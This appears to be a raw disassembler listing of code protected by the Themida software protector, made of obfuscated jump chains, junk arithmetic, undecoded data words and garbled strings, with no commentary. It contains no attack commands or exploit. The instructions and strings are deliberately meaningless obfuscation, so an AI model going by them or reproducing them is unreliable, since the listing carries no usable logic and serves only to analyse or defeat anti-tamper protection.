dd 4EC81h, 3C890000h, 81E78924h, 4C7h, 4C78300h, 47FA68h
dd 243C8900h, 42474FFh, 52243C8Bh, 0C2815A54h, 4, 0E904C283h
dd 0FFFF93A4h, 4C681h, 18E90000h
db 0B2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55D407: ; CODE XREF: Themida_:00565CD9j
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
xor edx, [esp]
jmp loc_552630
; ---------------------------------------------------------------------------
aAAIS_j db '─ц=─цы┬ч[И_J',0
align 4
dd 5C241C87h, 31243433h, 0B8E92434h
db 70h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55D43B: ; CODE XREF: Themida_:00559E05j
mov ecx, [ebx]
pop ebx
mov edx, [esp]
push esi
push esp
mov esi, [esp]
add esp, 4
add esi, 4
sub esp, 4
mov [esp], ecx
mov ecx, 18D4413Ch
and ecx, 434C7D61h
shl ecx, 4
push eax
mov eax, 408464EEh
sub eax, 3C4052EAh
xor ecx, eax
pop eax
jmp loc_554CF0
; ---------------------------------------------------------------------------
loc_55D47C: ; CODE XREF: Themida_:00554B07j
mov eax, 14302BDh
dec eax
or eax, 73A77F3Ch
xor eax, 41A6781Ah
or edi, eax
pop eax
sub esp, 4
mov [esp], eax
jmp loc_55B80B
; ---------------------------------------------------------------------------
loc_55D49A: ; CODE XREF: Themida_:00560E07j
sub edx, edi
pop edi
jmp loc_55DF1F
; ---------------------------------------------------------------------------
aMbaO db 'M│М"╝;',0
db 81h, 0C3h, 4Fh
dd 14FCC47h, 4FEB81EBh, 5D4FCC47h, 0E0AC381h, 0CB815F7Ah
dd 56301A10h, 0FF9701E9h, 21E951FFh, 1FFFFBAh, 576D05E8h
dd 0BE5672A6h, 10526B6Fh, 6601BC2Dh, 5F02967h, 676601BCh
dd 0FF7E95E9h, 31CF31FFh, 81CF31F9h, 8EC759C7h, 5FF829B7h
dd 81243C8Bh, 4C4h, 339E0500h, 98054D23h, 0E928E421h, 207h
dd 51DBF781h, 41E943B8h, 5DFFFF72h, 0FF5FDEE9h, 0E9D589FFh
dd 3A8Bh, 4C181h, 0C1810000h, 4, 31240C33h, 0C33240Ch
dd 3C335C24h, 243C3124h, 8B243C33h, 0F7662424h, 4A6866E9h
dd 14896623h, 9C506624h, 0FF344EE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55D561: ; CODE XREF: Themida_:00554C63j
xchg eax, [esp]
pop esp
jmp loc_558AA3
; ---------------------------------------------------------------------------
dw 5456h
dd 5624348Bh, 7114E9h, 2599BD00h, 7CE91826h, 1FFFFEEh
dd 0C20158C2h, 0FF7D0EE9h, 5BDD30FFh, 501CC580h, 0FFC957E9h
dd 0E95256FFh, 0FFFFCFF6h
; ---------------------------------------------------------------------------
loc_55D59C: ; CODE XREF: Themida_:00564A29j
add esi, 4
push ebx
mov ebx, 4
add esi, ebx
jmp loc_5623A7
; ---------------------------------------------------------------------------
db 89h
dd 241C8BDAh, 81E38953h, 4C3h, 4C38100h, 87000000h, 535C241Ch
dd 0E953F1BBh, 5BD80158h, 87E9D029h, 87000032h, 248B242Ch
dd 242C8124h, 69397BACh, 0C6E95556h, 8BFFFFA9h, 0E9522414h
dd 0FFFFBBAEh
; ---------------------------------------------------------------------------
loc_55D5F4: ; CODE XREF: Themida_:00551E1Bj
pop dword ptr [esp]
jmp loc_557603
; ---------------------------------------------------------------------------
loc_55D5FC: ; CODE XREF: Themida_:0055C1E6j
mov eax, [esp]
add esp, 4
xchg edx, [esp]
jmp loc_55E565
; ---------------------------------------------------------------------------
aS_ db ')фИ^_',0
align 4
loc_55D614: ; CODE XREF: Themida_:0055A5AFj
pop eax
push dword ptr [esp]
pop esi
jmp loc_55685D
; ---------------------------------------------------------------------------
loc_55D61E: ; CODE XREF: Themida_:005554AFj
mov edi, 6D4951h
jmp loc_5602BC
; ---------------------------------------------------------------------------
dword_55D628 dd 6035BE56h, 0D6F72E94h, 6B9F68h, 243C8900h, 1D5846BFh
; DATA XREF: Themida_:00550834o
dd 0E7C14F32h, 60BA5205h, 0E9E68EE7h, 0FFFF9A39h, 8324048Bh
dd 0F6E904C4h
db 6Bh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55D657: ; CODE XREF: Themida_:00562A15j
add ebx, edi
mov edi, [esp]
add esp, 4
push edi
jmp loc_55ACD1
; ---------------------------------------------------------------------------
loc_55D665: ; CODE XREF: Themida_:00556755j
mov eax, 682E206Bh
sub ecx, eax
pop eax
add ecx, ebp
push edi
mov edi, 413D2C7Bh
not edi
shl edi, 5
push edi
not dword ptr [esp]
jmp loc_5620EB
; ---------------------------------------------------------------------------
db 5Ah
dd 31240C33h, 0C33240Ch, 645FE924h
db 2 dup(0FFh)
word_55D692 dw 34FFh ; DATA XREF: Themida_:00550770o
aXhmx db '$Xh╛X',0
dw 8900h
aHv_0 db ',$hv[',0
dw 0E900h
dd 8611h
; ---------------------------------------------------------------------------
loc_55D6A8: ; CODE XREF: Themida_:0055D6E4j
add edx, esi
add edx, 75E5DC9h
jmp loc_550E07
; ---------------------------------------------------------------------------
loc_55D6B5: ; CODE XREF: Themida_:0056472Bj
push esi
mov esi, esp
add esi, 4
jmp loc_55EC60
; ---------------------------------------------------------------------------
loc_55D6C3: ; CODE XREF: Themida_:005525C8j
not edx
jmp loc_55CC30
; ---------------------------------------------------------------------------
dw 0E95Fh
dd 0FFFFA772h
; ---------------------------------------------------------------------------
loc_55D6D0: ; CODE XREF: Themida_:00564641j
add ebp, 4
add ebp, 4
jmp loc_562D71
; ---------------------------------------------------------------------------
loc_55D6DE: ; CODE XREF: Themida_:00552186j
sub edx, 75E5DC9h
jmp loc_55D6A8
; ---------------------------------------------------------------------------
loc_55D6E9: ; CODE XREF: Themida_:005588A4j
xor dh, cl
mov cx, [esp]
add esp, 2
xor dh, 30h
mov bh, dh
jmp loc_552819
; ---------------------------------------------------------------------------
loc_55D6FF: ; CODE XREF: Themida_:00552F4Aj
sub esp, 4
mov [esp], ebp
push dword ptr [esp+4]
jmp loc_5596DC
; ---------------------------------------------------------------------------
loc_55D70E: ; CODE XREF: Themida_:0055CF43j
neg ebp
xor ebp, 963CD849h
jmp loc_55822D
; ---------------------------------------------------------------------------
db 1
dd 21982DD8h, 9E2D28E4h, 574D2333h, 0FF979EE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55D72D: ; CODE XREF: Themida_:0055BEECj
shl esi, 6
jmp loc_56540C
; ---------------------------------------------------------------------------
db 0FFh, 34h, 24h
dd 81240C8Bh, 4C4h, 4C48300h, 0FF81DEE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55D749: ; CODE XREF: Themida_:00560F80j
mov [esp], edx
push ecx
jmp loc_554135
; ---------------------------------------------------------------------------
dw 0B1BDh
dd 0B856163Fh, 0A9E9C053h, 0F5E9E801h
db 23h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55D763: ; CODE XREF: Themida_:0055EFBBj
mov [esp], ebp
push ebx
mov ebx, eax
sub esp, 4
mov [esp], esi
jmp loc_556030
; ---------------------------------------------------------------------------
db 81h
dd 0CA7978F7h, 0F32E943h, 0D12D0000h, 8143D53Dh, 4ECh
dd 24348900h, 50A51BEh, 5EF52911h, 5CE9C501h, 89000073h
dd 0E9552434h, 48F5h, 5004C083h, 0FFF4CAE9h, 34335AFFh
dd 24343124h, 8B243433h, 8B662424h, 8952240Ch, 0E95055E2h
dd 2078h, 5366D830h, 81E28952h, 4C2h, 4EA8300h, 0E9241487h
dd 79B2h, 0F68078B6h, 6DF680EDh, 0E99BE680h, 153Eh
; ---------------------------------------------------------------------------
loc_55D7F4: ; CODE XREF: Themida_:005565FDj
mov eax, 7B245D7Dh
add eax, edx
pop edx
jmp loc_5593DA
; ---------------------------------------------------------------------------
db 5Ah, 86h, 0CFh
dd 0CF86D1F6h, 30D1F780h, 241C8BFDh, 0FF40F2E9h, 4EC81FFh
dd 89000000h, 8BF243Ch, 52091A0Fh, 5A3DEBBAh, 37BE5642h
dd 0E914CD6Fh, 0FFFF5989h, 81243C8Bh, 4C4h, 618EE900h
dd 815FFFFFh, 0C04246Ch, 81792F20h, 57042444h, 295D8F4Ah
dd 81042474h, 5704246Ch, 815D8F4Ah, 0C042444h, 5E792F20h
dd 0FF3142E9h, 3C8B5EFFh, 0E2895224h, 4C281h, 5FE90000h
db 0EAh, 2 dup(0FFh)
aNhsl db '╜hАl',0 ; DATA XREF: Themida_:00550918o
dd 24048900h, 8D6E4EB8h, 3E93E936h, 0E95BFFFFh, 0A99h
dd 0E9240489h, 0FFFF43B8h
; ---------------------------------------------------------------------------
loc_55D8A0: ; CODE XREF: Themida_:005626C7j
add ebp, 3041726Bh
sub ebp, 45EB370Ah
neg ebp
inc ebp
not ebp
sub ebp, 0A83F27D5h
sub ecx, ebp
pop ebp
sub ecx, 57B56725h
jmp loc_560607
; ---------------------------------------------------------------------------
loc_55D8C5: ; CODE XREF: Themida_:005587B0j
xor ebp, ebx
pop ebx
jmp loc_5551D4
; ---------------------------------------------------------------------------
db 55h, 0BDh, 10h
dd 0C12FAF06h, 0C7E904EDh, 81FFFFFBh, 7C012DEBh, 0EB815F62h
dd 2, 393BE9h
db 0
; ---------------------------------------------------------------------------
loc_55D8ED: ; CODE XREF: Themida_:00559B42j
push ecx
jmp loc_5519D7
; ---------------------------------------------------------------------------
loc_55D8F3: ; CODE XREF: Themida_:0056007Dj
push ebx
mov ebx, 46000C8Bh
xor esi, ebx
pop ebx
sub esi, 0BC49E164h
sub edi, esi
jmp loc_55C19A
; ---------------------------------------------------------------------------
db 0C0h, 0EFh, 3
dd 0CBB6E952h, 34FFFFFFh, 41685687h, 0E900004Dh, 0FFFFB34Eh
; ---------------------------------------------------------------------------
loc_55D920: ; CODE XREF: Themida_:00562B01j
sub esp, 4
mov [esp], ebp
push esp
pop ebp
push ebx
mov ebx, 4
add ebp, ebx
pop ebx
jmp loc_5655FE
; ---------------------------------------------------------------------------
db 5Fh, 59h, 0FFh
dd 0F2E92434h, 81FFFFF0h, 2C4h, 0F0C38000h, 0C8EB80h, 0B05066C3h
dd 66C300C8h, 6824048Bh, 2988h, 89240489h, 405E0h, 2050000h
dd 50000000h, 794AE9h, 0EC815700h, 4, 52242489h, 4BAh
dd 24540100h, 735CE904h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55D98E: ; CODE XREF: Themida_:00554233j
push ebx
mov ebx, esp
add ebx, 4
jmp loc_556BFE
; ---------------------------------------------------------------------------
loc_55D99C: ; CODE XREF: Themida_:00556E7Aj
neg eax
add eax, 20FA1DCDh
sub esp, 4
mov [esp], edx
mov edx, 9A0DB0C4h
add eax, 4E8709F4h
sub eax, edx
jmp loc_557F71
; ---------------------------------------------------------------------------
db 0F7h, 0D6h, 81h
dd 0FE2FA8C6h, 364CE901h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55D9CA: ; CODE XREF: Themida_:0055CB49j
add edx, edi
pop edi
add edx, edi
jmp loc_565BFD
; ---------------------------------------------------------------------------
dd 2414895Ch, 0D4BA3BAh, 9D81E92Eh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55D9E2: ; CODE XREF: Themida_:00557AEFj
mov edi, [esp]
add esp, 4
xchg ebx, [esp]
pop esp
mov [esp], ebx
jmp loc_5605E3
; ---------------------------------------------------------------------------
loc_55D9F4: ; CODE XREF: Themida_:0055DA4Dj
add edx, 39F13DEBh
inc edx
sub edx, 7001C87h
jmp loc_5643A0
; ---------------------------------------------------------------------------
dw 0ED25h
dd 0E96D363Bh, 0FFFFDFF9h
; ---------------------------------------------------------------------------
loc_55DA10: ; CODE XREF: Themida_:0055FA3Ej
mov esi, 4D545C36h
xor edx, esi
pop esi
mov ebx, edx
pop edx
jmp loc_55B89A
; ---------------------------------------------------------------------------
dd 730BB92Dh, 0F452D39h, 52E93A03h
db 7Bh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55DA2F: ; CODE XREF: Themida_:0055E807j
pop esp
add esi, 44436565h
sub esi, 354059B9h
push ebx
mov ebx, 75DF260Dh
sub esi, ebx
pop ebx
add esi, eax
push edx
mov edx, 7A4D6A71h
jmp loc_55D9F4
; ---------------------------------------------------------------------------
loc_55DA52: ; CODE XREF: Themida_:00551494j
push edi
mov edi, esp
push eax
sub esp, 4
jmp loc_554E87
; ---------------------------------------------------------------------------
loc_55DA61: ; CODE XREF: Themida_:0055ABC1j
dec ebp
xor ebp, 42424BFFh
add ecx, ebp
pop ebp
mov eax, [esp]
jmp loc_55A99E
; ---------------------------------------------------------------------------
loc_55DA73: ; CODE XREF: Themida_:005585FDj
pop esp
add esp, 4
loc_55DA77: ; CODE XREF: Themida_:0055AC7Ej
push edi
jmp loc_563A85
; ---------------------------------------------------------------------------
loc_55DA7D: ; CODE XREF: Themida_:00555E5Aj
add eax, edx
pop edx
jmp loc_5611CD
; ---------------------------------------------------------------------------
db 87h, 2Ch, 24h
dd 3B0F685Ch, 11E90000h, 5000066h, 7D2A0274h, 0E9243C8Bh
dd 0FFFFCAE2h
dword_55DAA0 dd 240C8B66h, 8904EC83h, 58542404h, 78D0BA52h, 0C2814270h
; DATA XREF: Themida_:00550750o
dd 0AEF3329h, 6C22BE56h, 0DEF71D21h, 0C2E9DEF7h, 5BFFFF3Dh
dd 0A2E9DF87h, 8FFFFFF7h, 248B2404h, 0FBB75324h, 0E9E68956h
dd 0CAh
; ---------------------------------------------------------------------------
loc_55DAE0: ; CODE XREF: Themida_:0055A07Ej
or eax, 29DF0537h
and eax, 47302186h
or eax, 61E340C4h
sub eax, 67F361C2h
add esi, eax
pop eax
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], edx
mov edx, 1
jmp loc_558E7F
; ---------------------------------------------------------------------------
dw 0E958h
dd 0FFFFE887h, 3A3ABA52h, 0D13152FBh, 0FFC405E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55DB21: ; CODE XREF: Themida_:005641EBj
mov edx, esp
add edx, 4
push ebx
mov ebx, 4
sub edx, ebx
pop ebx
xchg edx, [esp]
pop esp
mov [esp], eax
push esi
jmp loc_551B51
; ---------------------------------------------------------------------------
db 88h
dd 0E95259E8h, 0FFFF75E4h, 4BDh, 5DEF0100h, 31243C33h
dd 3C33243Ch, 0C1835C24h, 9BD4E902h, 0EBDFFFFh, 0E941BC6Eh
dd 5348h, 81F70159h, 0A51AE6C7h, 3C335E25h, 243C3124h
dd 8B243C33h, 0C4812424h, 4, 44366852h, 24890000h, 24048324h
dd 24148B04h, 5304C483h, 3CB6BA52h, 8950187Ah, 4D05E9D0h
dd 0C681FFFFh, 4, 4EE81h, 34870000h, 0C895C24h, 349BE924h
dd 0F8290000h, 8B2434FFh, 0C481243Ch, 4, 4C481h, 72E90000h
db 0A4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55DBDB: ; CODE XREF: Themida_:0055E785j
push eax
mov eax, 0
sub eax, 372F60B2h
add eax, 4B3300DCh
jmp loc_5568D3
; ---------------------------------------------------------------------------
dd 51AE952h, 15A0000h, 25EF81EFh, 53638B77h, 0F826A6BBh
dd 78BA527Ch, 0E9D4363Ch, 3060h, 0B151FA00h, 32E9805Ch
dd 0E9CDEA80h, 2E7Dh
; ---------------------------------------------------------------------------
loc_55DC20: ; CODE XREF: Themida_:00553DEEj
pop edx
sub ebx, ebp
sub ebx, 6386511h
push dword ptr [esp]
mov ebp, [esp]
add esp, 4
add esp, 4
xchg ebx, ebp
jmp loc_55C8B5
; ---------------------------------------------------------------------------
loc_55DC3F: ; CODE XREF: Themida_:00555431j
pop ecx
push ebx
mov ebx, 4
add ecx, ebx
mov ebx, [esp]
jmp loc_55A0B7
; ---------------------------------------------------------------------------
dd 4304C483h, 0B5E38143h, 0E90AA245h, 2CC8h
; ---------------------------------------------------------------------------
loc_55DC60: ; CODE XREF: Themida_:00557778j
or esi, 1A22696Fh
push ebx
mov ebx, 0AB71C2h
xor esi, ebx
pop ebx
shr esi, 7
jmp loc_562E4F
; ---------------------------------------------------------------------------
aBa2JSy9 db '│М2)j Иy9',0
align 2
aSa_0 db '[И═`',0
align 4
dd 4EB835Eh, 2474FF53h, 4BE3E904h, 51580000h, 9433E7B9h
dd 2E1C16Ch, 4B4AC181h, 0CF297354h, 0FFFEBFE9h, 3DEB80FFh
dd 8B79C380h, 0C4832414h, 578FE904h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55DCBE: ; CODE XREF: Themida_:00563916j
push ebp
push dword ptr [esp+4]
jmp loc_55E803
; ---------------------------------------------------------------------------
dd 0BD222868h, 0FF2D5845h, 0E9FFFFFFh, 0FFFFA633h
; ---------------------------------------------------------------------------
loc_55DCD8: ; CODE XREF: Themida_:00550C80j
mov esp, [esp]
push edx
jmp loc_55EFC0
; ---------------------------------------------------------------------------
db 81h, 0C3h, 0E1h
dd 0E90FB2B0h, 0FFFF5CC8h
dword_55DCEC dd 52E38953h, 0BB44B0BAh, 81DAF711h, 744446E2h, 67F2816Ah
; DATA XREF: Themida_:00550930o
dd 4A308E65h, 0B1C2814Ah, 81F029B1h, 0A841EAE2h, 0CBCA8109h
dd 8166DB7Fh, 48039C2h, 5AD30191h, 0FFB3B4E9h, 8BEF88FFh
dd 0C483240Ch, 0FA885204h, 7857E9h
db 0
; ---------------------------------------------------------------------------
loc_55DD35: ; CODE XREF: Themida_:0055C7DAj
push 3E9Dh
mov [esp], eax
push edx
jmp loc_560393
; ---------------------------------------------------------------------------
db 56h
dd 0E81780BEh, 5EF2012Bh, 4EC81h, 2C890000h, 4EC8124h
dd 0E9000000h, 0FFFF8A58h, 8105E2C1h, 0A24C41F2h, 0C3F28132h
dd 893A8641h, 97E95AD3h, 4900003Dh, 0E981D1F7h, 6C8B84F0h
dd 0FF4E3FE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55DD85: ; CODE XREF: Themida_:00561B29j
push eax
mov ah, ch
mov dl, ah
pop eax
mov bl, dl
push dword ptr [esp]
pop edx
add esp, 4
pop ecx
push dword ptr [esp]
mov edx, [esp]
jmp loc_55C341
; ---------------------------------------------------------------------------
dd 8003B4BDh, 0B8F5812Ch, 8174E312h, 0B75DB4F5h, 0E9EB214Eh
dd 0FFFFB537h, 4C481h, 0C1810000h, 2, 5F44E9h, 241C8B00h
dd 0E9E28952h, 0FFFFB165h, 835AD001h, 48704E8h, 0FBF2E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55DDE2: ; CODE XREF: Themida_:0055500Cj
inc bl
and bl, 0C2h
and bl, 0F1h
dec bl
shr bl, 7
xor bl, 85h
sub cl, bl
pop ebx
not cl
sub cl, 0Ah
not cl
dec cl
not cl
jmp loc_561D45
; ---------------------------------------------------------------------------
db 51h, 0FFh, 74h
dd 0C8B0424h, 4C48324h, 0FFFCBAE9h, 0DCBB53FFh, 8127D274h
dd 413FC3EBh, 8BDE0910h, 0C483241Ch, 0A8B85004h, 8161FD4Fh
dd 43479FC6h, 0CFB5E912h, 8F5EFFFFh, 248B2404h, 4A30F24h
dd 39E99C24h, 81FFFF48h, 27BD1CBh, 0AACB8172h, 815EE66Ah
dd 8E0B8CC3h, 5BD8293Eh, 0FF9D14E9h, 0E9C389FFh, 4AADh
; ---------------------------------------------------------------------------
loc_55DE6C: ; CODE XREF: Themida_:005529FAj
push ecx
jmp loc_55AD07
; ---------------------------------------------------------------------------
dw 74FFh
dd 8F5F0424h, 895C2404h, 0A9E92404h
db 6Ah, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55DE83: ; CODE XREF: Themida_:0055BCDBj
mov edi, esi
pop esi
jmp loc_55F8E7
; ---------------------------------------------------------------------------
db 81h
dd 0C812F1E3h, 81D3F70Eh, 413A14C3h, 5ABFE9F1h, 0C683FFFFh
dd 0E4C68101h, 0E90BB0BCh, 0FFFFE933h
; ---------------------------------------------------------------------------
loc_55DEAC: ; CODE XREF: Themida_:00556371j
add esp, 4
xchg ebx, ebp
push 7B2Eh
mov [esp], eax
jmp loc_556BD5
; ---------------------------------------------------------------------------
dw 0EB81h
dd 4, 31241C33h, 1C33241Ch, 709AE924h, 48FFFFFh, 24248B24h
dd 240C8966h, 0C830E7B1h, 240C8B66h, 55E28952h, 0FF6C96E9h
dd 20F380FFh, 0D4F6E386h, 0FF6741E9h, 24348BFFh, 0FFD0B7E9h
dd 2C483FFh, 6B64E9h
db 0
; ---------------------------------------------------------------------------
loc_55DF09: ; CODE XREF: Themida_:0055983Dj
add esp, 4
add esp, 4
or eax, eax
jz loc_5583F8
push dword ptr [edi+28h]
jmp loc_5564D2
; ---------------------------------------------------------------------------
loc_55DF1F: ; CODE XREF: Themida_:0055D49Dj
add edx, eax
jmp loc_5616C3
; ---------------------------------------------------------------------------
dw 0C181h
dd 4, 708EE956h, 2C890000h, 93685324h, 8B3AD301h, 0C483241Ch
dd 38B85004h, 2D22D438h, 5DA739C7h, 0FF6445E9h, 34ED81FFh
dd 0E922EB0Ah, 54B0h, 650772Dh, 5D8016Bh, 6B065077h, 8EA6857h
dd 295F592Fh, 0BA525FF8h, 47A73F75h, 685AD029h, 47D6h
dd 0BD242C89h, 6024E412h, 4EC81h, 34890000h, 11FDBE24h
dd 0D92D308Ah, 5477161h, 1F32591h, 13E9F029h, 89FFFF4Ah
dd 0BE5652E7h, 56F75BCDh, 0FFB7F2E9h
db 0FFh
byte_55DFB5 db 0FFh, 77h, 1Ch ; DATA XREF: Themida_:0055077Co
dd 1858669Dh, 0E99C2404h, 786Eh, 4C481h, 0FDE90000h, 0B7000029h
dd 66F8089Eh, 66D22C5Bh, 3016B652h, 148B66F0h, 2C48324h
dd 0C049B050h, 9B3406E0h, 0FF30C6E9h, 0C8BD55FFh, 81119542h
dd 19392EF5h, 8EDC110h, 4D04E5C1h, 1865ED81h, 0F5813BF7h
dd 0D1C0CDB7h, 34FFEA21h, 0C4835D24h, 56D2F704h, 0A23F35BEh
dd 9FEE8118h, 21DBB202h, 4D31E9F2h, 94BDFFFFh, 890DDA21h
dd 5F58E9EEh, 0E95EFFFFh, 0FFFF657Fh, 0FE89DF89h, 0FFB058E9h
dd 2434FFFFh, 4C48158h, 52000000h, 65CDE9h, 24248900h
dd 0FF33D9E9h, 6DEB81FFh, 578544D5h, 0FFFFD3E9h, 0CB895AFFh
dd 0FFC093E9h, 2155BFFFh, 0F6E9F145h
db 30h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55E07F: ; CODE XREF: Themida_:00558757j
add esi, ecx
mov ecx, [esp]
add esp, 4
add esi, 4
xchg esi, [esp]
jmp loc_557027
; ---------------------------------------------------------------------------
aUhR db 'UhхR',0
dw 8900h
dd 10BB241Ch, 0E912E040h, 224Eh, 0A0E972B4h, 8F00006Ch
dd 895C2404h, 6CE9243Ch, 5D00002Eh, 81E28952h, 4C2h, 6343E900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55E0CA: ; CODE XREF: Themida_:00562076j
add esi, ecx
push ebp
jmp loc_55618E
; ---------------------------------------------------------------------------
dw 0E95Bh
dd 0FFFFE1A0h, 0AE2DF4B9h, 74B1BA3Bh, 0CA313AB9h, 5AD78959h
dd 81E28952h, 4C2h, 8FBB5300h, 815BF946h, 0E541E3EBh, 0DD40E95Ch
dd 0C181FFFFh, 4, 0E904E983h, 0FFFFD895h, 4BAh, 0E9D10100h
dd 0FFFF6368h
; ---------------------------------------------------------------------------
loc_55E11C: ; CODE XREF: Themida_:0055F7A7j
mov si, 3C22h
sub si, 32Fh
add si, 6656h
not si
inc si
add si, 245h
xor ax, si
jmp loc_55A2D3
; ---------------------------------------------------------------------------
dd 8869C480h, 24048BE6h, 7352E950h, 3489FFFFh, 81E68924h
dd 4C6h, 4EE8300h, 62D8E9h
db 0
; ---------------------------------------------------------------------------
loc_55E15D: ; CODE XREF: Themida_:005631ACj
add ebp, edi
pop edi
mov edi, ebp
mov ebp, [esp]
add esp, 4
sub ebx, edi
pop edi
push edi
push 58ACh
mov [esp], ecx
push 100C7AAAh
pop ecx
shr ecx, 5
jmp loc_551645
; ---------------------------------------------------------------------------
db 5Ah, 0Fh, 0B6h
dd 87048DC0h, 815A5452h, 4C2h, 656EE900h, 0BE2CFFFFh, 592434FFh
dd 4C481h, 35680000h, 89000077h, 0D7E92414h, 81FFFFA1h
dd 4C7h, 7D7EE900h, 0F480FFFFh, 460AE9A3h, 34890000h, 7F646824h
dd 3C890000h, 0DEFCE924h, 9E68FFFFh, 89000064h, 0C1E9241Ch
dd 89000072h, 74FF2414h, 34FF0424h, 2434FF24h, 3F6DE9h
dd 81475800h, 217480E7h, 8439E90Eh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55E202: ; CODE XREF: Themida_:0055828Bj
push dword ptr [esp]
pop edi
push esi
jmp loc_55C169
; ---------------------------------------------------------------------------
loc_55E20C: ; CODE XREF: Themida_:00555802j
xor edi, [esp]
xor [esp], edi
jmp loc_552441
; ---------------------------------------------------------------------------
db 5Ch
dd 89241489h, 431068E2h, 2C890000h, 0D54DE924h, 0D029FFFFh
dd 1BBBE9h, 0F8BA5200h, 8179C155h, 701114EAh, 0EBE9562Ch
dd 1000067h, 0E6BA52FEh, 0E94CF46Bh, 65C1h, 0E9240C89h
dd 6F78h
; ---------------------------------------------------------------------------
loc_55E258: ; CODE XREF: Themida_:00561F5Bj
mov edi, 4C597AB8h
inc edi
dec edi
dec edi
jmp loc_55F385
; ---------------------------------------------------------------------------
loc_55E265: ; CODE XREF: Themida_:00563F72j
pop eax
mov ebp, [esp]
push edx
mov edx, esp
add edx, 4
sub edx, 4
jmp loc_55D2DB
; ---------------------------------------------------------------------------
byte_55E27D db 66h, 8Bh, 4 ; DATA XREF: Themida_:005507CCo
aS@ db '$И╫@',0
align 2
dw 0E0C1h
dd 3C73E903h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55E28E: ; CODE XREF: Themida_:005516D6j
add edx, edi
pop edi
jmp loc_562B96
; ---------------------------------------------------------------------------
loc_55E296: ; CODE XREF: Themida_:005570F7j
push ecx
mov ecx, 0D4104FBh
jmp loc_5641F0
; ---------------------------------------------------------------------------
db 0F7h, 0E1h, 68h
dd 4CDFh, 0E9241489h, 0FFFF2B9Eh, 64C5815Dh, 5520F610h
dd 0FFD84FE9h, 241C8BFFh, 4C481h, 0C5810000h, 0C90AFC67h
dd 0FF32B5E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55E2D1: ; CODE XREF: Themida_:005623ACj
push eax
mov eax, 4
push ebx
jmp loc_565A08
; ---------------------------------------------------------------------------
db 87h, 2Ch, 24h
dd 5624248Bh, 0F33ACEBEh, 7AE6816Ah, 50259250h, 994DBA68h
dd 0E8C15868h, 727D0505h, 0D0F733D4h, 12Dh, 27E6E900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55E30A: ; CODE XREF: Themida_:00552483j
push 54BDh
mov [esp], eax
jmp loc_561974
; ---------------------------------------------------------------------------
loc_55E317: ; CODE XREF: Themida_:00560B6Aj
and edi, 3742790Bh
dec edi
sub edi, 0A2D3D8DCh
or edx, edi
jmp loc_558DD7
; ---------------------------------------------------------------------------
db 40h
dd 0FF7923E9h, 4C781FFh, 33000000h, 3C31243Ch, 243C3324h
dd 0AC32E95Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55E346: ; CODE XREF: Themida_:00563B37j
mov [esp], edi
push ebp
jmp loc_556017
; ---------------------------------------------------------------------------
db 31h
dd 0FF042444h, 0E9582434h, 0FFFF7442h, 0B05809BBh, 8BDD3172h
dd 0C481241Ch, 4, 1D8C581h, 0E801B8F0h, 1DD3685Dh, 14890000h
dd 99626824h, 34FF799Bh, 0E9515A24h, 0FFFF99A3h, 72E9E588h
db 30h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55E393: ; CODE XREF: Themida_:0055A50Dj
push 6317h
mov [esp], ebx
push 33AAh
mov [esp], ebp
jmp loc_56559B
; ---------------------------------------------------------------------------
loc_55E3A8: ; CODE XREF: Themida_:00550A29j
pop eax
add esp, 4
push edi
mov edi, 5E5B7C0Dh
jmp loc_552CEB
; ---------------------------------------------------------------------------
dw 34FFh
dd 24048B24h, 526168h, 241C8900h, 0C8E95B54h, 0C1000067h
dd 0EA6808EAh, 89000040h, 52B82404h, 0E978F329h, 58ACh
; ---------------------------------------------------------------------------
loc_55E3E4: ; CODE XREF: Themida_:0055AF7Ej
push edi
jmp loc_552830
; ---------------------------------------------------------------------------
dw 0C581h
dd 6680688Eh, 3C32BA52h, 0E2816862h, 33519C8h, 8105E2C1h
dd 0B60244F2h, 51ED8143h, 290D0B6Fh, 51C581D5h, 8B0D0B6Fh
dd 0C4832414h, 5DEA0104h, 2105BB53h, 0E9554EC1h, 0FFFFF978h
dd 0FD12EA81h, 0D589A823h, 0B03DE95Ah
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55E436: ; CODE XREF: Themida_:00550BE3j
xor edx, [esp]
pop esp
push edi
jmp loc_561A8D
; ---------------------------------------------------------------------------
dd 0CA5BB805h, 0D8295F38h, 0D2685257h, 5A2A4004h, 449DF281h
dd 0D7893F56h, 0F0B6E95Ah
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55E45E: ; CODE XREF: Themida_:00552B5Dj
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
shr dword ptr [esp], cl
pushf
jmp loc_5509AF
; ---------------------------------------------------------------------------
loc_55E470: ; CODE XREF: Themida_:00555017j
add dword ptr [esp], 4
pop esi
add esi, 4
push ebx
mov ebx, 4
add esi, ebx
mov ebx, [esp]
add esp, 4
jmp loc_5598B8
; ---------------------------------------------------------------------------
dw 0EA01h
